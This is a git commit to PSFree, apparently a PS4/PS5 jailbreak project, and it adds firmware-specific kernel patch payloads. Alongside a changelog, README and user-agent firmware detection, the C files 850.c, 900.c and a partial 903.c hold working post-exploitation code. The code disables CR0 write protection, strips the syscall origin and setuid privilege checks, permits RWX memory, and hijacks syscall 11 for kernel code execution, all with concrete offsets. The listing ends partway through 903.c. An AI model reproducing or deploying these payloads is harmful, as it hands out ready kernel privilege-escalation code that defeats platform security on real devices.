Prep for multi-fw and publishing on GitHub

### Added

- `.gitignore` for kpatch output
- Auto detect console type and firmware in `config.mjs`
  - Used elsewhere to determine which offsets/patches/ROP chain are used
- WIP: Add 8.50-9.60 support
  - All offsets found
  - Running into some issue here. Wiped out my JOP chains to redo them...

### Fixed

- Call `lapse.mjs` rather than `code.mjs`
- Makefile for kpatch builds all currently available

### Changed

- Use relative locations rather than absolute
- Changed kpatch binaries to just be shellcode vs full ELFs
  - 5,216 bytes to 257 bytes.
- Build kpatch binaries with `-Os` rather than `-O`
  - 257 bytes to 233 bytes.
- Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
This commit is contained in:
Al Azif
2025-05-12 14:42:31 -07:00
parent b9f5957555
commit 3e47ad92a0
33 changed files with 2099 additions and 218 deletions

4
.gitignore vendored Normal file
View File

@@ -0,0 +1,4 @@
src/kpatch/*.bin
src/kpatch/*.d
src/kpatch/*.elf
src/kpatch/*.o

90
CHANGELOG.md Normal file
View File

@@ -0,0 +1,90 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [Unreleased]
## [1.5.1] - 2025-05-12
### Added
- `.gitignore` for kpatch output
- Auto detect console type and firmware in `config.mjs`
- Used elsewhere to determine which offsets/patches/ROP chain are used
- **WIP:** Add 8.50-9.60 support
- All offsets found
- Running into some issue here. Wiped out my JOP chains to redo them...
### Fixed
- Call `lapse.mjs` rather than `code.mjs`
- Makefile for kpatch builds all currently available
### Changed
- Use relative locations rather than absolute
- Changed kpatch binaries to just be shellcode vs full ELFs
- 5,216 bytes to 257 bytes.
- Build kpatch binaries with `-Os` rather than `-O`
- 257 bytes to 233 bytes.
- Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
## [1.5.0](#) - 2025-05-08
### Added
- Lapse kernel exploit
### Fixed
- Rewrite PSFree exploit
## [1.4.0](#) - 2024-01-25
### Added
- Kernel patch payload for 8.0x
### Fixed
- Remove the risk of crashing from using the Chain classes
- Remove the risk of crashing from using `make_buffer()`
- (PS5 < 3.00) use valid config at `exploit.mjs:setup_ssv_data`
## [1.3.0](#) - ????-??-??
### Added
- ROP chain managers for 8.5x, 9.0x, 9.5x
### Fixed
- Improve the speed and reliability of the exploit (`exploit.mjs`)
### Removed
- Support for webkitgtk 2.34.4, see 1.0.0 for a working implementation
## [1.2.0](#) - 2023-12-03
## Added
- Support for PS4 6.00-6.20
## [1.1.0](#) - ????-??-??
### Added
- Support for running ROP chains (PS4 8.03)
- Support for calling syscalls (PS4 8.03)
## [1.0.0](#) - ????-??-??
### Added
- Proof-of-concept code to gain arbitrary read/write (PS4 6.50-9.60/PS5 1.00-5.50)
[unreleased]: https://github.com/Al-Azif/psfree-lapse/compare/v1.5.1...HEAD
[1.5.1]: https://github.com/Al-Azif/psfree-lapse/releases/tag/v1.5.1

View File

@@ -1,20 +1,50 @@
# PSFree version 1.5.0 # PSFree version 1.5.1
PSFree is a collection of exploits for the PS4 console. The main focus of the PSFree is a collection of exploits for the PS4 console. The main focus of the repo is for the PS4, but we try to make things portable to PS5.
repo is for the PS4 but we try to make things portable to PS5.
* Exploits ## Features
* PSFree: src/psfree.mjs
* Lapse (kernel): src/scripts/lapse.mjs
Donation (Monero/XMR): * **Auto-detection:** Automatically detects console type and firmware version (via `src/config.mjs`).
86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS * **WebKit Exploit (PSFree):** Entry point via the console's web browser.
* **Kernel Exploit (Lapse):** Escalates privileges to kernel level.
* ~~Payload Loader: After successful kernel exploitation listens for a payload on port 9020.~~ **WIP**
# COPYRIGHT AND AUTHORS: ## Vulnerability Scope
AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group
`anonymous`. We refer to anonymous contributors as "anonymous" as well. | | PSFree | Lapse |
|:--------------|:----------|:-----------|
| PlayStation 4 | 6.00-9.60 | 1.01-12.02 |
| PlayStation 5 | 1.00-5.50 | 1.00-10.01 |
## Supported by this Repository
This table indicates firmware versions for which the *current version* of this repository provides a functional and tested exploit chain.
| | PSFree | Lapse |
|:--------------|:----------|:-----------|
| PlayStation 4 | 8.00-8.03 | 8.00-8.03 |
| PlayStation 5 | N/A | N/A |
*Note: Support for other firmwares listed in the "Vulnerability Scope" table may, or may not, be actively being worked on or may have been supported in previous versions of this repository. Please check `CHANGELOG.md` for historical support.*
## TODO List
- [ ] Integrate payload loader (Test on 8.00-8.03)
- [ ] Rewrite JOP chains in `rop/ps4/850.mjs`, `rop/ps4/900.mjs`, and `rop/ps4/950.mjs`
- I scrapped the ones I had...
- [ ] `lapse.mjs`: Just set the bits for JIT privs
- [ ] `view.mjs`: Assumes PS4, support PS5 as well
- [ ] Add PS5 support
## Copyright and Authors:
AGPL-3.0-or-later (see [LICENSE](LICENSE)). This repo belongs to the group `anonymous`. We refer to anonymous contributors as "anonymous" as well.
## Credits:
# CREDITS:
* anonymous for PS4 firmware kernel dumps * anonymous for PS4 firmware kernel dumps
* Check the appropriate files for any **extra** contributors. Unless otherwise * Check the appropriate files for any **extra** contributors. Unless otherwise stated, everything here can also be credited to us.
stated, everything here can also be credited to us.
## Donations
(Monero/XMR): **86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS**

View File

@@ -1,27 +0,0 @@
* 1.5.0:
* add Lapse kernel exploit
* rewrite PSFree exploit
* 1.4.0:
* add kernel patch payload for 8.0x
fixes:
* remove the risk of crashing from using the Chain classes
* remove the risk of crashing from using make_buffer()
* (PS5 < 3.00) use valid config at exploit.mjs:setup_ssv_data
* 1.3.0:
* improve the speed and reliability of the exploit (exploit.mjs)
* add ROP chain managers for 8.5x, 9.0x, 9.5x
* drop support for webkitgtk 2.34.4, see 1.0.0 for a working implementation
* 1.2.0:
* add support for PS4 6.00-6.20
* 1.1.0:
* add support for running ROP chains (PS4 8.03)
* add support for calling syscalls (PS4 8.03)
* 1.0.0:
* add proof-of-concept code to gain arbitrary read/write
(PS4 6.50-9.60/PS5 1.00-5.50)

View File

@@ -1,16 +0,0 @@
PS4/PS5 Firmware Series Convention
Convention used by this repo to refer to a set of firmwares.
The pattern X.Yx means X.Y0 <= firmware < (X + 1).V0. Y is either 0 or 5. V is
5 if Y is 0, 0 if Y is 5.
examples:
* 6.0x refer to 6.00 <= fw < 6.50.
* 6.5x refer to 6.50 <= fw < 7.00.
The pattern X.xx means X.00 <= firmware < (X + 1).00.
examples:
* 6.xx refer to 6.00 <= fw < 7.00.
* 7.xx refer to 7.00 <= fw < 8.00.

View File

@@ -22,8 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
</head> </head>
<body> <body>
PSFree is an exploit chain for PS4 and PS5.<br> PSFree is an exploit chain for PS4 and PS5.<br>
PSFree is free software. See <a href='./COPYING'>COPYING</a> for the copyleft information.<br> PSFree is free software. PSFree's license is GNU-AGPL-3.0-or-later.<br>
PSFree's license is GNU-AGPL-3.0-or-later.<br>
Here is the source code of this program:<br> Here is the source code of this program:<br>
<br> <br>
HTML files:<br> HTML files:<br>
@@ -31,11 +30,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<a href='./about.html' download>about.html</a><br> <a href='./about.html' download>about.html</a><br>
JavaScript files:<br> JavaScript files:<br>
<table id="jslicense-labels1"> <table id="jslicense-labels1">
<tr>
<td><a href="./psfree.mjs">psfree.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./psfree.mjs" download>download</a></td>
</tr>
<tr> <tr>
<td><a href="./alert.mjs">alert.mjs</a></td> <td><a href="./alert.mjs">alert.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
@@ -46,20 +40,50 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./config.mjs" download>download</a></td> <td><a href="./config.mjs" download>download</a></td>
</tr> </tr>
<tr>
<td><a href="./lapse.mjs">lapse.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./psfree.mjs">psfree.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./psfree.mjs" download>download</a></td>
</tr>
<tr> <tr>
<td><a href="./send.mjs">send.mjs</a></td> <td><a href="./send.mjs">send.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./send.mjs" download>download</a></td> <td><a href="./send.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./scripts/lapse.mjs">scripts/lapse.mjs</a></td> <td><a href="./lapse/ps4/800.mjs">lapse/ps4/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./scripts/lapse.mjs" download>download</a></td> <td><a href="./lapse/ps4/800.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./rop/800.mjs">rop/800.mjs</a></td> <td><a href="./lapse/ps4/850.mjs">lapse/ps4/850.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/800.mjs" download>download</a></td> <td><a href="./lapse/ps4/850.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/852.mjs">lapse/ps4/852.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/852.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/900.mjs">lapse/ps4/900.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/900.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/903.mjs">lapse/ps4/903.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/903.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./lapse/ps4/950.mjs">lapse/ps4/950.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./lapse/ps4/950.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/chain.mjs">module/chain.mjs</a></td> <td><a href="./module/chain.mjs">module/chain.mjs</a></td>
@@ -72,9 +96,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/int64.mjs" download>download</a></td> <td><a href="./module/int64.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/view.mjs">module/view.mjs</a></td> <td><a href="./module/mem.mjs">module/mem.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/view.mjs" download>download</a></td> <td><a href="./module/mem.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/memtools.mjs">module/memtools.mjs</a></td> <td><a href="./module/memtools.mjs">module/memtools.mjs</a></td>
@@ -82,9 +106,9 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/memtools.mjs" download>download</a></td> <td><a href="./module/memtools.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/utils.mjs">module/utils.mjs</a></td> <td><a href="./module/offset.mjs">module/offset.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/utils.mjs" download>download</a></td> <td><a href="./module/offset.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/rw.mjs">module/rw.mjs</a></td> <td><a href="./module/rw.mjs">module/rw.mjs</a></td>
@@ -92,25 +116,49 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<td><a href="./module/rw.mjs" download>download</a></td> <td><a href="./module/rw.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/offset.mjs">module/offset.mjs</a></td> <td><a href="./module/utils.mjs">module/utils.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/offset.mjs" download>download</a></td> <td><a href="./module/utils.mjs" download>download</a></td>
</tr> </tr>
<tr> <tr>
<td><a href="./module/mem.mjs">module/mem.mjs</a></td> <td><a href="./module/view.mjs">module/view.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td> <td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./module/mem.mjs" download>download</a></td> <td><a href="./module/view.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/800.mjs">rop/ps4/800.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/800.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/850.mjs">rop/ps4/850.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/850.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/900.mjs">rop/ps4/900.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/900.mjs" download>download</a></td>
</tr>
<tr>
<td><a href="./rop/ps4/950.mjs">rop/ps4/950.mjs</a></td>
<td><a href="https://www.gnu.org/licenses/agpl-3.0.html">GNU-AGPL-3.0-or-later</a></td>
<td><a href="./rop/ps4/950.mjs" download>download</a></td>
</tr> </tr>
</table> </table>
kpatch/ files:<br> kpatch/ files:<br>
<a href="./kpatch/utils.h">kpatch/utils.h</a><br> <a href="./kpatch/800.c">kpatch/800.c</a><br>
<a href="./kpatch/script.ld">kpatch/script.ld</a><br> <a href="./kpatch/850.c">kpatch/850.c</a><br>
<a href="./kpatch/900.c">kpatch/900.c</a><br>
<a href="./kpatch/903.c">kpatch/903.c</a><br>
<a href="./kpatch/950.c">kpatch/950.c</a><br>
<a href="./kpatch/Makefile">kpatch/Makefile</a><br> <a href="./kpatch/Makefile">kpatch/Makefile</a><br>
<a href="./kpatch/80x.c">kpatch/80x.c</a><br> <a href="./kpatch/script.ld">kpatch/script.ld</a><br>
<a href="./kpatch/types.h">kpatch/types.h</a><br> <a href="./kpatch/types.h">kpatch/types.h</a><br>
<a href="./kpatch/utils.h">kpatch/utils.h</a><br>
fonts/ files:<br> fonts/ files:<br>
<a href="./fonts/README.txt">fonts/README.txt</a><br>
<a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br> <a href="./fonts/FONTS.LICENSE">fonts/FONTS.LICENSE</a><br>
<a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br> <a href="./fonts/LiberationMono-Regular.ttf">fonts/LiberationMono-Regular.ttf</a><br>
<a href="./fonts/README.txt">fonts/README.txt</a><br>
</body> </body>
</html> </html>

View File

@@ -66,5 +66,19 @@ export function set_target(value) {
target = value; target = value;
} }
function get_target_from_ua(useragent) {
const pattern = /^Mozilla\/5\.0 \(?(?:PlayStation; )?PlayStation (4|5)[ \/]([0-9]{1,2}\.[0-9]{2})\)? AppleWebKit\/[0-9.]+ \(KHTML, like Gecko\)(?: Version\/[0-9.]+ Safari\/[0-9.]+)?$/;
const match = pattern.exec(useragent);
if (!match) {
return;
}
if (match[1] == '4') {
return parseInt(`0x0${match[2].replace('.', '').padStart(4, '0')}`);
} else if (match[1] == '5') {
return parseInt(`0x1${match[2].replace('.', '').padStart(4, '0')}`);
}
}
export let target = null; export let target = null;
set_target(0x800); set_target(get_target_from_ua(navigator.userAgent));

View File

@@ -22,7 +22,7 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
<style> <style>
@font-face { @font-face {
font-family: 'logging'; font-family: 'logging';
src: url('fonts/LiberationMono-Regular.ttf'); src: url('./fonts/LiberationMono-Regular.ttf');
} }
#console { #console {
font-family: 'logging'; font-family: 'logging';
@@ -37,5 +37,5 @@ along with this program. If not, see <https://www.gnu.org/licenses/>.
source code and license.<br> source code and license.<br>
<pre id='console'></pre> <pre id='console'></pre>
</body> </body>
<script type='module' src='alert.mjs'></script> <script type='module' src='./alert.mjs'></script>
</html> </html>

View File

@@ -15,6 +15,8 @@ GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */ along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.00, 8.01, 8.03
#include <stddef.h> #include <stddef.h>
#include "types.h" #include "types.h"
@@ -138,7 +140,7 @@ void do_patch(void) {
// push rbp // push rbp
// mov rbp, rsp // mov rbp, rsp
// ... // ...
write32(kbase, 0x951c0, 0xC3C03148); write32(kbase, 0x951c0, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID // patch sys_setuid() to allow freely changing the effective user ID

178
src/kpatch/850.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 8.50, 8.52
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x826ea, 0x37);
write8(kbase, 0x826ed, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x14d6dd, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x17c2f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x3ad040, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x22f3d6, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x10fc7d0;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0xc810d);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/900.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b67f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}

178
src/kpatch/903.c Normal file
View File

@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.03, 9.04
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
